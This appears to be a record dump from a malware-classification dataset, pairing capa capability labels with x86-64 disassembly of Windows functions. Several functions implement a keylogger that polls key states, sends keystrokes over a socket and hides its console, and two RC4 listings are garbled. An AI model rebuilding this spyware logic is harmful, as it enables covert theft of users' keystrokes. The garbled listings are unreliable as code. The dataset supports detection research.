joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1402fa330
Capabilities:
Get geographical location
Get keyboard layout

Disassembly:
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x1405ff5c5]
call fcn.14013994a
nop
call fcn.1402f8700
mov qword [rbp + 8], rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
shr rax, 0x10
and rax, 0xffff
movzx eax, ax
mov dword [rbp + 0x44], eax
mov rax, qword [rbp + 8]
add rax, 0x2c
mov r9d, 4
mov r8, rax
mov edx, 0x20001004
mov ecx, dword [rbp + 0x44]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x1402fa3a3
mov rax, qword [rbp + 8]
mov dword [rax + 0x2c], 0
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x140399660
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140139e2c
movzx eax, al
test eax, eax
jne 0x140399680
mov ecx, 7
call fcn.1401384eb
nop
mov byte [rsp + 0x20], 0
call fcn.1401386df
mov byte [rsp + 0x21], al
cmp dword [0x1405d9770], 1
jne 0x1403996a4
mov ecx, 7
call fcn.1401384eb
nop
jmp 0x1403996fc
cmp dword [0x1405d9770], 0
jne 0x1403996f7
mov dword [0x1405d9770], 1
lea rdx, [0x1403b3b08]
lea rcx, [0x1403b37d8]
call fcn.1401358bd
test eax, eax
je 0x1403996d8
mov eax, 0xff
jmp 0x140399801
lea rdx, [0x1403b36c8]
lea rcx, [section..rdata]
call fcn.140138685
mov dword [0x1405d9770], 2
jmp 0x1403996fc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140138379
call fcn.14013765e
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140399759
mov rcx, qword [rsp + 0x30]
call fcn.140134d9b
movzx eax, al
test eax, eax
je 0x140399759
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140602020]
nop
call fcn.140137c03
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14039978d
mov rcx, qword [rsp + 0x38]
call fcn.140134d9b
movzx eax, al
test eax, eax
je 0x14039978d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.14013955d
nop
call fcn.1403998b0
mov dword [rsp + 0x28], eax
call fcn.14013733e
movzx eax, al
test eax, eax
jne 0x1403997ac
mov ecx, dword [rsp + 0x28]
call fcn.1401328c5
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1403997bb
call fcn.1401396cf
nop
xor edx, edx
mov cl, 1
call fcn.140134b39
mov eax, dword [rsp + 0x28]
jmp 0x140399801
add rsp, 0x68
ret
Function at 0x140002190
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
cmp qword [rcx + 0x20], 0
mov rbx, rcx
je 0x1400021a8
xor eax, eax
add rsp, 0x30
pop rbx
ret
lea rax, [rcx + 0x28]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x28], rax
lea r8, [0x140002160]
xor edi, edi
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x20], rax
test rax, rax
jne 0x1400021e9
mov eax, 0x80004005
mov rdi, qword [rsp + 0x40]
add rsp, 0x30
pop rbx
ret
mov edx, 0xfffffff1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
test eax, eax
mov ecx, 0x80004005
cmove edi, ecx
mov eax, edi
mov rdi, qword [rsp + 0x40]
add rsp, 0x30
pop rbx
ret

Function at 0x140011a20
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0x70
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov rax, qword [0x140078088]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rbx, rdx
mov qword [rsp + 0x40], rdx
mov dword [rsp + 0x30], 0
call fcn.140012ed0
mov dword [rsp + 0x30], 1
mov r8, rbx
lea rdx, [rsp + 0x48]
call fcn.140012cf0
lea r8, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae r8, qword [rsp + 0x48]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov r8, qword [rsp + 0x60]
cmp r8, 8
jb 0x140011ab9
inc r8
mov rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x48]
call fcn.1400036f0
mov rax, rbx
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14002baa0
add rsp, 0x70
pop rbx
ret
Function at 0x140011fd0
Capabilities:
Initialize winhttp library
Prepare http request

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x57]
sub rsp, 0xc0
mov qword [rbp - 9], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x140078088]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov r15, r9
mov rdi, rdx
mov qword [rbp - 1], rdx
mov r12, qword [rbp + 0x7f]
xor ebx, ebx
mov dword [rbp - 0x49], ebx
mov qword [rdx + 0x18], 7
mov qword [rdx + 0x10], rbx
cmp qword [rdx + 0x18], 8
jb 0x14001202f
mov rax, qword [rdx]
jmp 0x140012032
mov rax, rdi
mov word [rax], bx
mov dword [rbp - 0x49], 1
mov rsi, rbx
xor eax, eax
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x21], rax
mov qword [rbp - 0x19], rax
mov qword [rbp - 0x11], rax
mov qword [rbp - 0x41], rax
mov qword [rbp - 0x39], rax
mov qword [rbp - 0x31], rax
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea edx, [rax + 1]
lea rcx, str.Hilo_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r14, rax
test rax, rax
je 0x140012179
mov r8d, 0x50
xor r9d, r9d
lea rdx, str.api.flickr.com
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rsi, rax
test rax, rax
je 0x140012179
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
lea r9, str.HTTP_1.1
lea r8, str._services_upload_
lea rdx, str.POST
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rbx, rax
mov qword [rbp - 0x51], rax
test rax, rax
je 0x140012179
mov dword [rbp - 0x29], 1
mov dword [rbp - 0x25], 3
mov dword [rbp - 0xd], 1
lea r9, [rbp - 0x41]
lea r8, [rbp - 0x29]
lea rdx, str.http:__api.flickr.com_services_upload_
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
test eax, eax
je 0x140012130
mov r9d, 0x18
lea r8, [rbp - 0x41]
lea edx, [r9 + 0xe]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
test eax, eax
je 0x140012179
mov r9, r15
lea rdx, [rbp - 0x51]
call fcn.1400121f0
test eax, eax
je 0x140012175
mov r9, r12
lea r8, [rbp - 0x51]
lea rdx, [rbp + 7]
call fcn.140012a50
mov rdx, rax
mov rcx, rdi
call fcn.140013b20
mov r8, qword [rbp + 0x1f]
cmp r8, 8
jb 0x140012175
inc r8
mov rdx, qword [rbp + 7]
lea rcx, [rbp + 7]
call fcn.1400036f0
mov rbx, qword [rbp - 0x51]
mov rcx, qword [rbp - 0x39]
test rcx, rcx
je 0x140012188
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov rcx, qword [rbp - 0x31]
test rcx, rcx
je 0x140012197
call qword [sym.imp.KERNEL32.dll_GlobalFree]
test rbx, rbx
je 0x1400121a5
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test rsi, rsi
je 0x1400121b3
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test r14, r14
je 0x1400121c1
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rax, rdi
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.14002baa0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x140037c5c
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x140037a30
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140037a30
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140037a30
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140037a30
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140037a30
cmp dword [rcx + 0x84], 0xe
jbe 0x140037a30
cmp dword [rcx + 0xf8], esi
je 0x140037a30
mov ecx, r14d
call fcn.140037b78
mov ecx, 2
call fcn.14003414c
nop
cmp byte [0x14007b588], 0
jne 0x140037afa
mov r15d, 1
mov eax, r15d
xchg dword [0x14007b578], eax
test ebx, ebx
jne 0x140037aa3
mov rdi, qword [0x140078088]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x14007b580]
cmp rcx, rax
je 0x140037a9a
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.1400036e0]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x14007b7c0]
jmp 0x140037aaf
cmp ebx, r15d
jne 0x140037ab5
lea rcx, [0x14007b7d8]
call fcn.1400385c8
nop
test ebx, ebx
jne 0x140037acc
lea rdx, [0x14004f750]
lea rcx, [0x14004f730]
call fcn.1400388e0
lea rdx, [0x14004f760]
lea rcx, [0x14004f758]
call fcn.1400388e0
movzx eax, byte [0x14007b588]
test esi, esi
cmove eax, r15d
mov byte [0x14007b588], al
jmp 0x140037afa
mov ecx, 2
call fcn.1400341a0
test esi, esi
jne 0x140037b11
mov ecx, r14d
call fcn.140037b2c
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x1400379c0
Function at 0x140043699
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x178
call fcn.140044119
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x3e8]
mov rcx, qword [rsp + 0x180]
mov qword [rcx], rax
mov rax, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0x3ec]
mov dword [rax], ecx
mov rax, qword [rsp + 0x188]
mov eax, dword [rax]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140043711
jmp 0x1400437d0
mov r8d, 0x104
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleFileNameA]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, [rsp + 0x60]
call qword [sym.imp.kernel32.dll_CreateFileA]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0xffffffffffffffff
jne 0x140043765
jmp 0x1400437d0
xor r9d, r9d
xor r8d, r8d
mov rax, qword [rsp + 0x180]
mov edx, dword [rax]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.kernel32.dll_SetFilePointer]
test eax, eax
jne 0x140043786
jmp 0x1400437d0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x58]
mov rax, qword [rsp + 0x188]
mov r8d, dword [rax]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400437b5
jmp 0x1400437d0
mov rax, qword [rsp + 0x180]
mov rcx, qword [rsp + 0x48]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x178
ret

Function at 0x1400437f8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, 0x100
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, 0x100
mov edx, 8
add byte [rax - 0x75], cl
enter 0x15ff, 0xffffffffffffff96
mov eax, 0x89480000
and al, 0x48

Function at 0x140043820
Capabilities:
Encrypt data using rc4 prga

Disassembly:
add byte [rax - 0x75], cl
enter 0x15ff, 0xffffffffffffff96
mov eax, 0x89480000
and al, 0x48
cmp qword [rsp + 0x30], 0
je 0x14004383f
cmp qword [rsp + 0x48], 0
jne 0x140043844
jmp 0x140043b8c
mov dword [rsp + 0x40], 0
jmp 0x140043858
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0x100
jae 0x14004387e
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
mov byte [rcx + rax], 0
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov byte [rcx + rax], 0
jmp 0x14004384e
mov dword [rsp + 0x3c], 0
mov eax, dword [rsp + 0x3c]
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x28]
mov dword [rsp + 0x20], eax
mov byte [rsp + 0x24], 0x30
mov byte [rsp + 0x2c], 0x30
mov dword [rsp + 0x20], 0
jmp 0x1400438bc
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x1400076c0]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x1400076d0]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x14000a008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x140007630]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call fcn.140002a90
mov rcx, qword [0x140007750]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x1400076b0]
lea rcx, section..text
mov qword [rdx], rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.1400028a0
mov ebx, dword [0x14000a028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r12, qword [0x14000a020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x14000a020], rbp
call fcn.1400026a0
mov rax, qword [0x140007640]
mov r8, qword [0x14000a018]
mov ecx, dword [0x14000a028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x14000a020]
call fcn.140001cc3
mov ecx, dword [0x14000a00c]
mov dword [0x14000a010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x14000a008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x1400076d0]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call fcn.140003850
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x1400076f0]
mov rcx, qword [0x1400076e0]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x14000a010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x140007710]
mov rcx, qword [0x140007700]
mov dword [rsi], 1
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
sub rsp, 0x28
mov rax, qword [0x140007660]
mov dword [rax], 1
call fcn.140001180
nop
nop
add rsp, 0x28
ret
Function at 0x140001527
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
lea rax, [rbp - 0x50]
lea rdx, [0x14000a200]
mov rcx, rax
call fcn.1400025b8
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.1400025d0
xor eax, 1
test al, al
je 0x1400016ca
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.1400025e0
mov ebx, eax
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.1400025d8
mov rdx, rax
mov rax, qword [section..data]
mov r9d, 0
mov r8d, ebx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov dword [0x14000a1f0], eax
mov eax, dword [0x14000a1f0]
cmp eax, 0xffffffff
jne 0x140001603
mov rax, qword [0x1400075e0]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call fcn.1400025b0
mov rcx, rax
lea rax, str.Error_in_sending_data:
mov rdx, rax
call fcn.1400024e8
mov rbx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
mov rcx, rbx
call fcn.1400025a8
mov rcx, rax
mov rax, qword [0x1400075e0]
mov rdx, rax
call fcn.1400025b0
mov ebx, 0
jmp 0x1400016cf
lea rax, [rbp - 0x50]
lea rdx, str._END_
mov rcx, rax
call fcn.1400025c0
test eax, eax
sete al
test al, al
je 0x140001663
mov rax, qword [0x1400075e0]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call fcn.1400025b0
mov rcx, rax
lea rax, str._END__input_is_detected
mov rdx, rax
call fcn.1400024e8
mov rcx, rax
mov rax, qword [0x1400075e0]
mov rdx, rax
call fcn.1400025b0
mov ebx, 0
jmp 0x1400016cf
lea rax, [rbp - 9]
mov qword [rbp - 8], rax
nop
nop
lea rdx, [rbp - 9]
lea rax, [rbp - 0x30]
mov r8, rdx
lea rdx, [0x140007036]
mov rcx, rax
call fcn.140004c70
lea rax, [rbp - 0x30]
mov rdx, rax
lea rax, [0x14000a200]
mov rcx, rax
call fcn.140002548
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.140002550
lea rax, [rbp - 9]
mov rcx, rax
call fcn.140004310
nop
mov edx, 0
lea rax, [0x14000a280]
mov rcx, rax
call fcn.140002530
mov ebx, 1
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.140002550
mov eax, ebx
jmp 0x14000171c
add rsp, 0x78
pop rbx
pop rbp
ret
Function at 0x140001723
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
lea rax, str.Begin_running_keylogger
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call fcn.1400024e8
mov rcx, rax
mov rax, qword [0x1400075e0]
mov rdx, rax
call fcn.1400025b0
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov byte [rbp - 1], 8
jmp 0x140001827
movzx eax, byte [rbp - 1]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cmp ax, 0x8001
sete al
test al, al
je 0x14000181d
movzx eax, byte [rbp - 1]
mov ecx, eax
call fcn.140001450
xor eax, 1
test al, al
je 0x140001811
lea rax, [rbp - 0x11]
mov qword [rbp - 0x10], rax
nop
nop
movzx eax, byte [rbp - 1]
movsx edx, al
lea rcx, [rbp - 0x11]
lea rax, [rbp - 0x40]
mov r9, rcx
mov r8d, edx
mov edx, 1
mov rcx, rax
call fcn.140004d20
lea rax, [rbp - 0x11]
mov rcx, rax
call fcn.140004310
nop
lea rax, [rbp - 0x40]
mov rdx, rax
lea rax, [0x14000a210]
mov rcx, rax
call fcn.1400024e0
lea rax, [rbp - 0x40]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call fcn.1400024e0
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140002550
call fcn.140001527
xor eax, 1
test al, al
jne 0x14000186b
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
cmp byte [rbp - 1], 0xbe
jbe 0x140001770
jmp 0x140001759
nop
add rsp, 0x68
pop rbx
pop rbp
ret
Function at 0x140001c1c
Capabilities:
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov eax, ecx
mov byte [rbp + 0x10], al
movzx eax, byte [rbp + 0x10]
xor eax, 1
test al, al
je 0x140001c8a
mov edx, 0
lea rax, str.ConsoleWindowClass
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, str.Stealth_is_offline.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call fcn.1400024e8
mov rcx, rax
mov rax, qword [0x1400075e0]
mov rdx, rax
call fcn.1400025b0
jmp 0x140001cbc
mov edx, 0
lea rax, str.ConsoleWindowClass
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
nop
add rsp, 0x20
pop rbp
ret

Function at 0x1400028b0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.1400036c0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]
Function at 0x140002920
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000a444]
mov rbx, rcx
test esi, esi
jle 0x140002a50
mov rax, qword [0x14000a448]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000296b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400029f5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002950
mov rcx, rbx
call fcn.140003390
mov rdi, rax
test rax, rax
je 0x140002a72
mov rax, qword [0x14000a448]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400034d0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000a448]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002a57
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400029ee
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140002a00
add dword [0x14000a444], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000a448]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400029ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400028b0
nop dword [rax]
xor esi, esi
jmp 0x140002978
mov rax, qword [0x14000a448]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400028b0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.1400028b0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003000
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000a4a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000a480]
test rbx, rbx
je 0x14000305c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140003053
test eax, eax
jne 0x140003053
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003038
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140003390
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140007600]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400033b0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400033b8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400033b0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000340d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003404
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400033b0
add rax, 0x28
cmp rax, r9
jne 0x1400033f0
xor eax, eax
ret

Function at 0x140003410
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140007600]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000342f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003438
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000342f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400034d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140007600]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400034ef
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400034f8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret